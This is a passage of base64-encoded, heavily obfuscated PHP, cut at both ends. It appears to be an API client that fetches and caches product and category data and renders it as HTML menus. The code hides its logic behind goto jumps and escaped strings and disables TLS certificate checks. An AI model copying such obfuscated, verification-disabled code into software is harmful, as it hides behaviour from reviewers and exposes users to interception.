NWZcMTUxXHg2NCJdKSwgIlwxNDRcMTUxXHg3M1wxNjBceDZjXHg2MVx4NzlcMTM3XDE2MFwxNjJcMTUxXHg2M1wxNDUiID0+ICRuYWFQNlsiXHg2NFwxNTFceDczXHg3MFwxNTRceDYxXHg3OVwxMzdceDcwXHg3MlwxNTFceDYzXHg2NSJdLCAiXHg3Mlx4NjFceDc3XDEzN1wxNjBceDcyXDE1MVwxNDNceDY1IiA9PiAkbmFhUDZbIlwxNjJcMTQxXDE2N1x4NWZcMTYwXHg3Mlx4NjlceDYzXDE0NSJdLCAiXHg2OVwxNTVceDYxXHg2N1wxNDVceDVmXDE2M1x4NzJceDYzIiA9PiAkYWRhVmdbIlx4NjFceDZjXHg2Mlx4NzVcMTU1Il0pOyBnb3RvIHpqbTNtOyB6am0zbTogRmpvY186IGdvdG8gVks1ZWQ7IFZLNWVkOiB9IGdvdG8gaFpqRTU7IE0zM3JEOiAkaFQ2bTNbIlwxNDNceDYxXHg3NFx4NjVcMTQ3XHg2Zlx4NzJceDc5XHg1Zlx4NjlceDY0Il0gPSBzdHJfcmVwbGFjZShbIlwxNjNcMTUzXHg3NSIsICJceDYzXHg2MVx4NzQiXSwgJycsICR0aGlzLT5ZdjNnZygkYzdFbXgsIGZhbHNlKSk7IGdvdG8gSlNaVWI7IEZrMEE1OiAkVGk1cnYgPSAkdGhpcy0+Z2V0Q2FjaGUoc2VsZjo6U1lvM1AsIFskSVU3N3osICRHc0ZYZywgJFJ4R0R0XSk7IGdvdG8gQzV4cnc7IG5laGZLOiAkSVU3N3ogPSAkYzdFbXg7IGdvdG8gTTMzckQ7IGd6cmpIOiBFMFBRVTogZ290byBMd2l3ZDsgTlVlck86ICRycjlMSyA9IGpzb25fZGVjb2RlKCRzUzJ3VFsiXDE0NFwxNDFcMTY0XHg2MSJdLCB0cnVlKTsgZ290byBaWURybjsgTEs2Mzc6ICRpRmhlSiA9IFtdOyBnb3RvIEVfNTZDOyBEUXozYTogcmV0dXJuICRycjlMSzsgZ290byBnenJqSDsgaFpqRTU6IE1Ja2NsOiBnb3RvIGNRRGZWOyBYZHlXYTogaWYgKCR0aGlzLT5YM0VPaykgeyBnb3RvIEw2UHJSOyB9IGdvdG8gRmswQTU7IElBajJrOiAkaUZoZUogPSBbIlx4NzhcNTVceDYxXDE2MFwxNjBcNTVceDY5XHg2NFx4M2FceDIweyR0aGlzLT5NakZnSX0iXTsgZ290byBySExzZDsgd0pHU3c6ICRoVDZtM1siXDE2MFwxNDFcMTQ3XDE0NVx4NWZcMTU2XDE2NVx4NmQiXSA9IChpbnQpICRHc0ZYZzsgZ290byBMSzYzNzsgQzV4cnc6ICRycjlMSyA9IGpzb25fZGVjb2RlKCRUaTVydiwgdHJ1ZSk7IGdvdG8gZTBJU3M7IFpZRHJuOiAkWHFxWkwgPSBbXTsgZ290byBkdmdKTDsgRmh0SG86ICRkZkN2OSA9IHNlbGY6OlJReU9pOyBnb3RvIElBajJrOyBjUURmVjogJFhxcVpMWyJceDZiXDE0NVwxNzEiXSA9ICJ7JGhUNm0zWyJcMTQzXDE0MVwxNjRceDY1XDE0N1x4NmZceDcyXDE3MVwxMzdceDY5XDE0NCJdfVx4N2N7JEdzRlhnfVwxNzR7JFJ4R0R0fSI7IGdvdG8gaENDZFU7IHJITHNkOiBMNlByUjogZ290byBOMDBxaTsgTHdpd2Q6ICRoVDZtM1siXHg3M1x4NzJceDYzIl0gPSAkdGhpcy0+VExlWV87IGdvdG8gWl9Mc0I7IFl3S1VpOiB9IHByaXZhdGUgZnVuY3Rpb24gelZaYVQoJEg3MjRGLCAkUGprQkMpIHsgZ290byBobkk0VjsgZzBxV1Y6ICRoVDZtM1siXHg2NVwxNzBceDc0XHg3MlwxNDEiXSA9ICR0aGlzLT5ja1NaTTsgZ290byBJNzJ1aDsgcTdXSUM6ICRkZkN2OSA9IHNlbGY6Omh5SE1OOyBnb3RvIEtRbFlEOyBPQWJWbTogc2VsZjo6QnQzWHMoJEg3MjRGLCBzZWxmOjpUazBqVCk7IGdvdG8gZHJXTHc7IFF3NW1LOiBpZiAoISgkVkZQWG8gJiYgaXNfYXJyYXkoJFZGUFhvKSkpIHsgZ290byBZeFhVajsgfSBnb3RvIFNXT09iOyBsWkRwcDogJEg3MjRGID0gc3RyX3JlcGxhY2UoWyJcMTYzXDE1M1wxNjUiLCAiXDE0M1wxNDFcMTY0Il0sICcnLCBzZWxmOjpZdjNnZygkSDcyNEYsIGZhbHNlKSk7IGdvdG8gT0FiVm07IEk3MnVoOiAkaFQ2bTNbIlwxNDRcMTU3XDE1NVwxNDFcMTUxXHg2ZVwxMzdcMTUxXHg2NCJdID0gJHRoaXMtPnk3ZGxWOyBnb3RvIFFnNVJTOyBkcldMdzogJGhUNm0zWyJceDY5XHg3NFwxNDVcMTU1XHg1ZlwxNTFcMTQ0Il0gPSAoc3RyaW5nKSAkSDcyNEY7IGdvdG8gZko3V2Q7IENrZTlkOiAkVkZQWG8gPSBqc29uX2RlY29kZSgkVnZMMk4sIHRydWUpOyBnb3RvIFF3NW1LOyBETklScjogaWYgKCR0aGlzLT5YM0VPaykgeyBnb3RvIGE4aEsxOyB9IGdvdG8gZEhEREQ7IGRIREREOiAkVnZMMk4gPSAkdGhpcy0+Z2V0Q2FjaGUoc2VsZjo6TkdFSDgsIFskSVU3N3pdKTsgZ290byBDa2U5ZDsgTFlTQnM6ICRpRmhlSiA9IFtdOyBnb3RvIEhEQVFLOyBIREFRSzogJGRmQ3Y5ID0gc2VsZjo6b01VanY7IGdvdG8gRE5JUnI7IHYyelJkOiAkaFQ2bTNbIlx4NzBceDYxXDE0MVwxNjMiXSA9IDE7IGdvdG8gQ2MySzI7IGpwQk52OiAkYWRhVmdbIlwxNjJcMTQ1XHg2M1wxNTdceDZkXHg2ZFx4NjVceDZlXDE0NFwxNjMiXSA9IGFycmF5X21hcChmdW5jdGlvbiAoJFBqa0JDKSB7ICRuYWFQNiA9ICR0aGlzLT5TTWdQdygkUGprQkNbIlwxNDNceDc1XHg3Mlx4NzJcMTQ1XDE1NlwxNjRcMTM3XDE2MFx4NzJceDY5XDE0M1x4NjUiXSk7IHJldHVybiBhcnJheSgiXDE2NFx4NjlcMTY0XHg2Y1wxNDUiID0+ICRQamtCQ1siXHg3NFwxNTFceDc0XDE1NFwxNDUiXSwgIlx4NjlceDY0IiA9PiAkdGhpcy0+WXYzZ2coIlx4NzNcMTUzXDE2NSIgLiAkUGprQkNbIlwxNTFceDc0XHg2NVx4NmRceDVmXDE1MVwxNDQiXSksICJcMTY1XHg3Mlx4NmMiID0+IHNlbGY6Ok1uSTBIIC4gIlw1NyIgLiAkdGhpcy0+TXRsQW4odWN3b3JkcyhzdHJ0b2xvd2VyKCRQamtCQ1siXHg3NFwxNTFceDc0XHg2Y1wxNDUiXSkpKSAuICJcMTM3IiAuICR0aGlzLT5ZdjNHRygiXDE2M1wxNTNcMTY1IiAuICRQamtCQ1siXDE1MVwxNjRceDY1XHg2ZFwxMzdcMTUxXHg2NCJdKSAuICJceDJlXHg2OFwxNjRceDZkXDE1NCIsICJcMTQzXDE2NVx4NzJceDcyXHg2NVwxNTZceDYzXHg3OVx4NWZcMTYzXDE3MVwxNTVcMTQyXDE1N1wxNTQiID0+ICR0aGlzLT5CQkNTMigkUGprQkNbIlwxNDNceDc1XDE2MlwxNjJceDY1XDE1NlwxNDNceDc5XDEzN1x4NjlcMTQ0Il0pLCAiXHg2NFx4NjlcMTYzXHg3MFwxNTRcMTQxXDE3MVwxMzdceDcwXDE2MlwxNTFcMTQzXHg2NSIgPT4gJG5hYVA2WyJcMTQ0XHg2OVx4NzNceDcwXDE1NFwxNDFcMTcxXDEzN1x4NzBcMTYyXDE1MVx4NjNcMTQ1Il0sICJceDcyXHg2MVx4NzdcMTM3XDE2MFx4NzJceDY5XHg2M1x4NjUiID0+ICRuYWFQNlsiXHg3MlwxNDFceDc3XDEzN1x4NzBcMTYyXHg2OVwxNDNceDY1Il0sICJceDY5XHg2ZFx4NjFceDY3XHg2NVx4NWZceDczXDE2Mlx4NjMiID0+ICRQamtCQ1siXDE0MVx4NmNceDYyXHg3NVwxNTUiXSk7IH0sICRhZGFWZ1siXHg3MlwxNDVcMTQzXHg2Zlx4NmRcMTU1XHg2NVwxNTZcMTQ0XDE2MyJdKTsgZ290byBvcHVfbTsgekdBbnU6ICRzUzJ3VCA9ICR0aGlzLT5ReGFzWSgkdGhpcy0+cGVRM0cgLiAkZGZDdjksICRoVDZtMywgJGlGaGVKKTsgZ290byBmZXR1YTsgaW1EQjk6ICRoVDZtM1siXHg3MFx4NjFceDc0XDE1MCJdID0gJHRoaXMtPmN1QXUzID8gJHRoaXMtPnVpV1F3KCkgOiAieyR0aGlzLT51SVdRdygpfVx4MmYiOyBnb3RvIHYyelJkOyBCeFFlZzogJGhUNm0zWyJcMTYzXDE2MlwxNDMiXSA9ICR0aGlzLT5UTGVZXzsgZ290byBnMHFXVjsgQ2MySzI6ICRpRmhlSiA9IFsiXDE3MFx4MmRceDYxXDE2MFx4NzBcNTVcMTUxXHg2NFw3MnskdGhpcy0+TWpGZ0l9Il07IGdvdG8gcTdXSUM7IFNXT09iOiByZXR1cm4gJFZGUFhvOyBnb3RvIG1EdzB6OyBmZXR1YTogJGFkYVZnID0ganNvbl9kZWNvZGUoJHNTMndUWyJceDY0XHg2MVwxNjRcMTQxIl0sIHRydWUpOyBnb3RvIGpwQk52OyBRZzVSUzogJGhUNm0zWyJceDYzXDE1MFx4NjlceDZjXHg2NFx4NWZceDY0XHg2ZlwxNTVcMTQxXHg2OVx4NmUiXSA9ICR0aGlzLT5LMDU0WTsgZ290byBpbURCOTsgaG5JNFY6ICRJVTc3eiA9ICRINzI0RjsgZ290byBsWkRwcDsgS1FsWUQ6IGE4aEsxOiBnb3RvIHpHQW51OyBmSjdXZDogJGhUNm0zWyJcMTYyXHg2NVwxNDNceDZmXDE1NVwxNTVcMTQ1XDE1NlwxNDQiXSA9ICRQamtCQzsgZ290byBMWVNCczsgbUR3MHo6IFl4WFVqOiBnb3RvIEJ4UWVnOyBvcHVfbTogcmV0dXJuICRhZGFWZzsgZ290byB5V2haTzsgeVdoWk86IH0gcHJpdmF0ZSBmdW5jdGlvbiBsNEM0MCgkYzdFbXgpIHsgZ290byBnSE9SSjsgcUZVX2I6ICRzUzJ3VCA9ICR0aGlzLT5ReGFTWSgkdGhpcy0+cGVRM0cgLiBzZWxmOjpoQ3daRCwgYXJyYXkoIlx4NzNcMTYyXHg2MyIgPT4gJHRoaXMtPlRMZVlfLCAiXDE0NVx4NzhceDc0XDE2Mlx4NjEiID0+ICR0aGlzLT5ja1NaTSwgIlx4NjNceDYxXDE2NFx4NjVcMTQ3XHg2Zlx4NzJceDc5XHg1Zlx4NjlcMTQ0IiA9PiAkYzdFbXgpLCBbIlx4NzhcNTVcMTQxXDE2MFx4NzBcNTVcMTUxXDE0NFx4M2F7JHRoaXMtPk1qRmdJfSJdKTsgZ290byBiMGhmTjsgbnVNeWk6ICRjN0VteCA9IHN0cl9yZXBsYWNlKFsiXDE2M1x4NmJceDc1IiwgIlwxNDNcMTQxXDE2NCJdLCAnJywgJHRoaXMtPllWM2dHKCRjN0VteCwgZmFsc2UpKTsgZ290byBxVUVvZTsgeG90Rlo6IHJldHVybiAkWktlQUc7IGdvdG8gcThibTE7IGIwaGZOOiAkYkc5Vk4gPSBqc29uX2RlY29kZSgkc1Myd1RbIlwxNDRcMTQxXDE2NFwxNDEiXSwgdHJ1ZSk7IGdvdG8gTTZ3cHA7IHE4Ym0xOiBRakQzcjogZ290byBudU15aTsgdFh2dGU6ICRaS2VBRyA9IGpzb25fZGVjb2RlKCRrbjdNZiwgdHJ1ZSk7IGdvdG8gYU1SZHk7IHFVRW9lOiAkdGhpcy0+YlQzeHMoJGM3RW14LCAiXDE0M1x4NjFcMTY0XHg2NVwxNDdcMTU3XDE2MlwxNzFceDVmXHg2OVx4NjQiKTsgZ290byBxRlVfYjsgTTZ3cHA6IHJldHVybiAkYkc5Vk5bIlx4NjRcMTQxXDE2NFwxNDEiXTsgZ290byBweTNXUzsgYU1SZHk6IGlmICghKCRaS2VBRyAmJiBpc19hcnJheSgkWktlQUcpKSkgeyBnb3RvIFFqRDNyOyB9IGdvdG8geG90Rlo7IGdIT1JKOiAka243TWYgPSAkdGhpcy0+Z2V0Q2FjaGUoc2VsZjo6bEZyY2MsIFskYzdFbXhdKTsgZ290byB0WHZ0ZTsgcHkzV1M6IH0gcHVibGljIGZ1bmN0aW9uIER3a3BqKCREZXZ5UykgeyBnb3RvIGR2V2R3OyBQenFueDogJEVDbFpmID0ganNvbl9kZWNvZGUoJHNTMndUWyJcMTQ0XHg2MVwxNjRceDYxIl0sIHRydWUpOyBnb3RvIEFJMWRpOyBmMDFDRzogVnVxOUg6IGdvdG8gSWwwajU7IEFJMWRpOiBpZiAoJEVDbFpmWyJcMTQ0XDE0MVx4NzRcMTQxIl0pIHsgZ290byBGRUFQSDsgfSBnb3RvIHN3V2YyOyBBRkxPdzogJHRoaXMtPmc1YTQxKHNlbGY6OnoxeGpyLCBqc29uX2VuY29kZSgkUDBEd0cpLCBbJERldnlTXSk7IGdvdG8gZjAxQ0c7IGYzbDRhOiAkRUNsWmYgPSAkcVVYaTZbJERldnlTXTsgZ290byBKZXVWNzsgYUZGSDQ6IEZFQVBIOiBnb3RvIFVBZkRNOyBJbDBqNTogSzJZSVM6IGdvdG8gdnRnMUM7IFVBZkRNOiAkRUNsWmYgPSAkRUNsWmZbIlwxNDRcMTQxXDE2NFwxNDEiXTsgZ290byBGYmhCUTsgbUJsMWM6ICRzUzJ3VCA9ICR0aGlzLT5xWGFTWSgkdGhpcy0+cGVRM0cgLiBzZWxmOjpaVU9BZCwgYXJyYXkoIlwxNTNceDY1XHg3OSIgPT4gJERldnlTID8gInskdGhpcy0+SzA1NFl9XDE3NHskRGV2eVN9IiA6ICR0aGlzLT5LMDU0WSkpOyBnb3RvIFB6cW54OyBFYkdxRjogaTViMmw6IGdvdG8gbUJsMWM7IEZiaEJROiAkUDBEd0cgPSBpc19hcnJheSgkcVVYaTYpICYmICFlbXB0eSgkcVVYaTYpID8gJHFVWGk2ICsgWyREZXZ5UyA9PiAkRUNsWmZdIDogWyREZXZ5UyA9PiAkRUNsWmYsICJcMTQ1XHg3OFwxNjBcMTUxXDE2Mlx4NjUiID0+IHRpbWUoKV07IGdvdG8gQUZMT3c7IEpldVY3OiBnb3RvIEsyWUlTOyBnb3RvIEViR3FGOyBzd1dmMjogJEVDbFpmID0gW107IGdvdG8gcG1sb0g7IHBtbG9IOiBnb3RvIFZ1cTlIOyBnb3RvIGFGRkg0OyB2dGcxQzogcmV0dXJuICRFQ2xaZjsgZ290byBMV3NFczsgdGxHa2Y6ICRxVVhpNiA9IGpzb25fZGVjb2RlKCRZM1FXOCwgdHJ1ZSk7IGdvdG8gRjJaWDk7IGR2V2R3OiAkWTNRVzggPSAkdGhpcy0+Z2V0Q2FjaGUoc2VsZjo6ejF4anIsIFskRGV2eVNdKTsgZ290byB0bEdrZjsgRjJaWDk6IGlmICghJHFVWGk2WyREZXZ5U10gfHwgaXNfYXJyYXkoJHFVWGk2KSB8fCBlbXB0eSgkcVVYaTYpIHx8IHRpbWUoKSAtICRxVVhpNlsiXDE0NVwxNzBceDcwXDE1MVx4NzJceDY1Il0gPiBzZWxmOjp4b3dtVCkgeyBnb3RvIGk1YjJsOyB9IGdvdG8gZjNsNGE7IExXc0VzOiB9IHB1YmxpYyBmaW5hbCBmdW5jdGlvbiBRWEFzeSgkWUlienksICRoVDZtMyA9IFtdLCAkaUZoZUogPSBbXSwgJHlqTl8xID0gIlwxMDdceDQ1XHg1NCIpIHsgZ290byBDT2F0RDsgV0tuWlA6IGN1cmxfc2V0b3B0KCR1N2ZuMCwgQ1VSTE9QVF9QT1NURklFTERTLCBqc29uX2VuY29kZSgkaFQ2bTMpKTsgZ290byBBcVZTQzsgWThicFE6IGN1cmxfc2V0b3B0KCR1N2ZuMCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOyBnb3RvIEFkSVpnOyB0V3p1bjogY3VybF9zZXRvcHQoJHU3Zm4wLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5X21lcmdlKFsiXDEwM1wxNTdceDZlXHg3NFwxNDVceDZlXHg3NFw1NVwxMjRcMTcxXDE2MFx4NjVcNzJcNDBcMTQxXHg3MFwxNjBcMTU0XHg2OVx4NjNceDYxXHg3NFx4NjlcMTU3XHg2ZVx4MmZceDZhXDE2M1x4NmZcMTU2Il0sICRpRmhlSikpOyBnb3RvIHpzbUI1OyBBZElaZzogY3VybF9zZXRvcHQoJHU3Zm4wLCBDVVJMT1BUX0NVU1RPTVJFUVVFU1QsICR5ak5fMSk7IGdvdG8gV0tuWlA7IGpZM3JzOiBnb3RvIEVkekJROyBnb3RvIEZGMGpYOyBDcURKRTogY3VybF9jbG9zZSgkdTdmbjApOyBnb3RvIGQ0eWUwOyB6c21CNTogY3VybF9zZXRvcHQoJHU3Zm4wLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgZ290byBwYm9rVTsgQ09hdEQ6ICR1N2ZuMCA9IGN1cmxfaW5pdCgkWUlienkpOyBnb3RvIHRXenVuOyBGRjBqWDogZkFla1Y6IGdvdG8gVEp2aHY7IHVTbDhSOiBFZHpCUTogZ290byBXSW9HMTsgQXFWU0M6ICRzUzJ3VCA9IGN1cmxfZXhlYygkdTdmbjApOyBnb3RvIFRneXRoOyBkNHllMDogaWYgKCRzUzJ3VCA9PSBmYWxzZSkgeyBnb3RvIGZBZWtWOyB9IGdvdG8gcGpjNEI7IFRneXRoOiAkU3JiSnkgPSBjdXJsX2dldGluZm8oJHU3Zm4wLCBDVVJMSU5GT19IVFRQX0NPREUpOyBnb3RvIENxREpFOyBUSnZodjogcmV0dXJuICRzUzJ3VDsgZ290byB1U2w4UjsgcGJva1U6IGN1cmxfc2V0b3B0KCR1N2ZuMCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOyBnb3RvIFk4YnBROyBwamM0QjogcmV0dXJuIFsiXDE0NFx4NjFcMTY0XDE0MSIgPT4gJHNTMndULCAiXHg2M1x4NmZceDY0XHg2NSIgPT4gJFNyYkp5XTsgZ290byBqWTNyczsgV0lvRzE6IH0gcHVibGljIGZ1bmN0aW9uIE5kQWFrKCRZSWJ6eSkgeyBnb3RvIFVQS2wzOyBiMTNDTDogJHNTMndUID0gY3VybF9leGVjKCR1N2ZuMCk7IGdvdG8gelpHR1I7IFBlaWViOiBjdXJsX3NldG9wdCgkdTdmbjAsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsgZ290byBvbkp2TDsgSkYxUmE6IGN1cmxfc2V0b3B0KCR1N2ZuMCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7IGdvdG8gUGVpZWI7IGU5M19OOiByZXR1cm4gJHNTMndUOyBnb3RvIHJHVlE0OyB6WkdHUjogJHhVSUJHID0gY3VybF9nZXRpbmZvKCR1N2ZuMCwgQ1VSTElORk9fQ09OVEVOVF9UWVBFKTsgZ290byB6NmNCQjsgb29RUFk6IGN1cmxfY2xvc2UoJHU3Zm4wKTsgZ290byBlOTNfTjsgVVBLbDM6ICR1N2ZuMCA9IGN1cmxfaW5pdCgkWUlienkpOyBnb3RvIEpGMVJhOyB6NmNCQjogaGVhZGVyKCJcMTAzXDE1N1x4NmVcMTY0XHg2NVwxNTZceDc0XHgyZFx4NTRceDc5XDE2MFwxNDVceDNheyR4VUlCR30iKTsgZ290byBvb1FQWTsgb25Kdkw6IGN1cmxfc2V0b3B0KCR1N2ZuMCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOyBnb3RvIGIxM0NMOyByR1ZRNDogfSBwdWJsaWMgZnVuY3Rpb24galZOYmooJHdzU19VLCAkR0plS0YgPSBmYWxzZSkgeyBnb3RvIEdDRGl3OyBLU3VfeDogJEhmRXdPID0gYXJyYXlfc2xpY2UoJHdzU19VLCA0KTsgZ290byBhTEFIYjsgbWVMTEk6ICRiYVBTQyA9IGZ1bmN0aW9uICgkVjZzNlQsICRCVDFVUiwgJFlJYnp5KSB7IHJldHVybiAiXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFx4MjBcNDBcNDBcNDBceDIwXDQwXHgzY1wxNTRcMTUxXHgyMFx4NjlcMTQ0XHgzZFx4MjJ7JEJUMVVSfVx4MjJceDIwXDE0M1wxNTRcMTQxXHg3M1x4NzNceDNkXHgyMlx4NmRceDY1XHg2ZVx4NzVceDJkXDE1MVx4NzRceDY1XHg2ZFw0MFx4NmRcMTQ1XDE1Nlx4NzVceDJkXDE1MVwxNjRcMTQ1XHg2ZFw1NVwxNjRcMTcxXDE2MFwxNDVcNTVceDcwXDE1N1wxNjNcMTY0XDEzN1wxNjRceDc5XHg3MFx4NjVceDIwXDE1NVwxNDVcMTU2XDE2NVx4MmRcMTUxXHg3NFx4NjVcMTU1XHgyZFx4NmZceDYyXHg2YVx4NjVcMTQzXHg3NFw1NVwxNjBcMTQxXHg2N1wxNDVcNDBceDZlXHg2MVx4NzJcMTYyXDE1N1wxNjdceDIyXHgzZVx4ZFx4YVx4MjBcNDBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXHgzY1wxNDFcNDBcMTUwXDE2Mlx4NjVcMTQ2XHgzZFw0Mlw1N3skWUlienl9XHgyMlw3NnskVjZzNlRbIlx4NjNcMTQxXDE2NFwxNDVceDY3XHg2ZlwxNjJceDc5XDEzN1x4NmVcMTQxXDE1NVx4NjUiXX1ceDNjXDU3XHg2MVx4M2VcMTVcMTJceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXDQwXHgyMFw0MFw0MFx4MjBceDIwXHgyMFx4MjBcNDBceDNjXDU3XHg2Y1wxNTFceDNlIjsgfTsgZ290byBQejlPYjsgcHVCTHc6IE5FMFJ5OiBnb3RvIHBSVjBnOyBHQ0RpdzogJFJvX2ZRID0gW107IGdvdG8gS1Q3RGc7IGNNWnBYOiAkUm9fZlFbXSA9ICJceDIwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFw0MFx4MjBcNDBcNDBcNDBcNzRcMTU0XDE1MVw0MFwxNTFceDY0XHgzZFx4MjJ7JEJUMVVSfVw0Mlx4MjBceDYzXDE1NFwxNDFceDczXDE2M1w3NVx4MjJcMTU1XDE0NVx4NmVceDc1XHgyZFwxNTFceDc0XDE0NVwxNTVceDJkXHg2OFx4NjFceDczXHgyZFwxNDNceDY4XDE1MVwxNTRcMTQ0XHg3MlwxNDVcMTU2XHgyMFwxNTVcMTQ1XDE1NlwxNjVceDJkXHg2OVwxNjRcMTQ1XDE1NVx4MjBcMTU1XHg2NVx4NmVceDc1XHgyZFwxNTFceDc0XHg2NVwxNTVcNTVcMTY0XDE3MVx4NzBceDY1XHgyZFx4MjBceDZkXDE0NVx4NmVcMTY1XDU1XHg2OVwxNjRcMTQ1XDE1NVw1NVx4NmZcMTQyXHg2YVx4NjVceDYzXDE2NFw1NVw0MFx4NjhcMTQxXDE2M1w1NVwxNjNcMTY1XDE0Mlw0MFwxNTZceDYxXHg3MlwxNjJceDZmXDE2N1w0Mlw3NlwxNVwxMlx4MjBcNDBceDIwXDQwXHgyMFx4MjBcNDBceDIwXDQwXDQwXHgyMFw0MFw0MFx4MjBcNDBcNDBcNzRcMTQxXDc2XHg0M1x4NjFceDc0XDE0NVx4NjdceDZmXDE2Mlx4NjlcMTQ1XHg3M1w3NFx4MmZceDYxXHgzZVw3NFwxNjNceDcwXDE0MVwxNTZceDIwXHg2M1wxNTRceDYxXHg3M1wxNjNcNzVcNDJceDYxXDE2Mlx4NzJceDZmXDE2N1w0Mlw3Nlw3NFx4MmZceDczXHg3MFx4NjFceDZlXHgzZSI7IGdvdG8gaEllRkY7IGFMQUhiOiAkQlQxVVIgPSAkR0plS0YgPyAiXDE0MVx4NjNceDYzXHg2ZlwxNjJceDY0XDE1MVx4NmZceDZlXDU1XHg2ZFx4NjVceDZlXDE2NVw1NVwxNTFceDc0XDE0NVwxNTUiIDogIlx4NmVceDYxXDE2Nlw1NVwxNTVcMTQ1XHg2ZVx4NzVcNTVceDY5XDE2NFx4NjVcMTU1IjsgZ290byBnU1RBbzsgUW9COGs6IGNBNGtxOiBnb3RvIExoTTlOOyBMV0hzMTogWW8zb2Y6IGdvdG8gRUJ2dHQ7IEVCdnR0OiAkUm9fZlFbXSA9ICJcNDBceDIwXDQwXHgyMFw0MFw0MFw0MFx4MjBcNDBcNDBceDIwXDQwXDc0XHg3NVx4NmNcNDBceDYzXDE1NFwxNDFcMTYzXDE2M1w3NVx4MjJceDczXDE2NVwxNDJceDJkXHg2ZFwxNDVceDZlXDE2NVx4MjJceDIwXHg3M1x4NzRceDc5XDE1NFwxNDVceDNkXHgyN1wxNTBceDY1XHg2OVx4NjdcMTUwXHg3NFw3Mlw2NVx4MzBcNjBceDcwXHg3OFw3M1wxNTdcMTY2XDE0NVwxNjJcMTQ2XDE1NFx4NmZcMTY3XHgyZFx4NzlceDNhXDE0MVwxNjVcMTY0XHg2Zlx4MjdceDNlIjsgZ290byBDTXRfNzsgQ010Xzc6IGZvcmVhY2ggKCRIZkV3TyBhcyAkVjZzNlQpIHsgZ290byB1dnRnSzsgU01seUo6ICRSb19mUVtdID0gJGJhUFNDKCRWNnM2VCwgJEJUMVVSLCAkWGVzc2IpOyBnb3RvIHdjMkNOOyB3YzJDTjogVHVFcUc6IGdvdG8gcFo2T0w7IHV2dGdLOiAkWGVzc2IgPSAkeVM3ZjQoJFY2czZUKTsgZ290byBTTWx5SjsgcFo2T0w6IH0gZ290byBwdUJMdzsgTFJIMHc6IEV2a2dXOiBnb3RvIGNNWnBYOyBnU1RBbzogJHlTN2Y0ID0gZnVuY3Rpb24gKCRWNnM2VCkgeyByZXR1cm4gc2VsZjo6eW1RQzcgLiAiXHgyZiIgLiAkdGhpcy0+bXRsYW4odWN3b3JkcyhzdHJ0b2xvd2VyKCRWNnM2VFsiXDE0M1x4NjFceDc0XDE0NVx4NjdceDZmXHg3Mlx4NzlceDVmXDE1Nlx4NjFceDZkXHg2NSJdKSkpIC4gIlwxMzciIC4gInskVjZzNlRbIlwxNDNceDYxXHg3NFwxNDVceDY3XDE1N1wxNjJcMTcxXHg1Zlx4NjlcMTQ0Il19XHgyZVx4NjhcMTY0XHg2ZFx4NmMiOyB9OyBnb3RvIG1lTExJOyBMaE05TjogJFJvX2ZRW10gPSAiXDQwXDQwXHgyMFw0MFx4M2NceDJmXHg2Y1wxNTFceDNlIjsgZ290byBHNVQ3dzsgS1Q3RGc6ICRyS3FZeSA9IGFycmF5X3NsaWNlKCR3c1NfVSwgMCwgNCk7IGdvdG8gS1N1X3g7IEc1VDd3OiByZXR1cm4gaW1wbG9kZSgnJywgJFJvX2ZRKTsgZ290byBQcUFMSzsgYWtSVXE6ICRSb19mUVtdID0gIlx4MjBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw0MFx4MjBcNDBcNDBceDIwXDQwXDc0XDE0NFx4NjlcMTY2XHgyMFx4NjNceDZjXDE0MVwxNjNcMTYzXHgzZFw0Mlx4NzBceDZmXHg3MFx4NzVceDcwXDQyXDc2XDE1XDEyXHgyMFw0MFw0MFw0MFx4MjBceDIwXHgyMFx4MjBcNDBcNDBcNDBcNDBceDIwXHgyMFw0MFw0MFw0MFw0MFx4MjBceDIwXDc0XDE0NFx4NjlcMTY2XDQwXDE0M1wxNTRceDYxXDE2M1wxNjNcNzVceDIyXDE1MVwxNTZceDZlXDE0NVx4NzJceDIyXDc2IjsgZ290byBMV0hzMTsgQktBZU46IGlmICgkR0plS0YpIHsgZ290byBjQTRrcTsgfSBnb3RvIHFQN3NjOyBxUDdzYzogJFJvX2ZRW10gPSAiXDQwXDQwXHgyMFw0MFx4MjBcNDBceDIwXDQwXHgyMFx4MjBceDIwXDQwXHgzY1x4MmZcMTQ0XHg2OVx4NzZceDNlXDE1XHhhXDQwXDQwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFx4M2NcNTdceDY0XDE1MVx4NzZcNzYiOyBnb3RvIFFvQjhrOyBoSWVGRjogaWYgKCRHSmVLRikgeyBnb3RvIFlvM29mOyB9IGdvdG8gYWtSVXE7IFB6OU9iOiBmb3JlYWNoICgkcktxWXkgYXMgJFY2czZUKSB7IGdvdG8gUzRJSWI7IFNjVnZHOiAkUm9fZlFbXSA9ICRiYVBTQygkVjZzNlQsICRCVDFVUiwgJFhlc3NiKTsgZ290byB4UXhIMzsgeFF4SDM6IGd5WDNOOiBnb3RvIHc0V0JYOyBTNElJYjogJFhlc3NiID0gJHlTN2Y0KCRWNnM2VCk7IGdvdG8gU2NWdkc7IHc0V0JYOiB9IGdvdG8gTFJIMHc7IHBSVjBnOiAkUm9fZlFbXSA9ICJceDIwXDQwXDQwXHgyMFw0MFx4MjBceDIwXDQwXHgzY1x4MmZceDc1XDE1NFw3NiI7IGdvdG8gQktBZU47IFBxQUxLOiB9IHB1YmxpYyBmdW5jdGlvbiBBR2h3WigkRGV2eVMsICRvR0Y4NCA9ICcnLCAkcnI5TEsgPSBbXSwgJGFkYVZnID0gW10pIHsgZ290byBzRTlzUDsgaHpsMTI6IHE1MGpGOiBnb3RvIHJBOVZVOyBvWGpBQjogWDAzMXA6IGdvdG8gaHpsMTI7IEV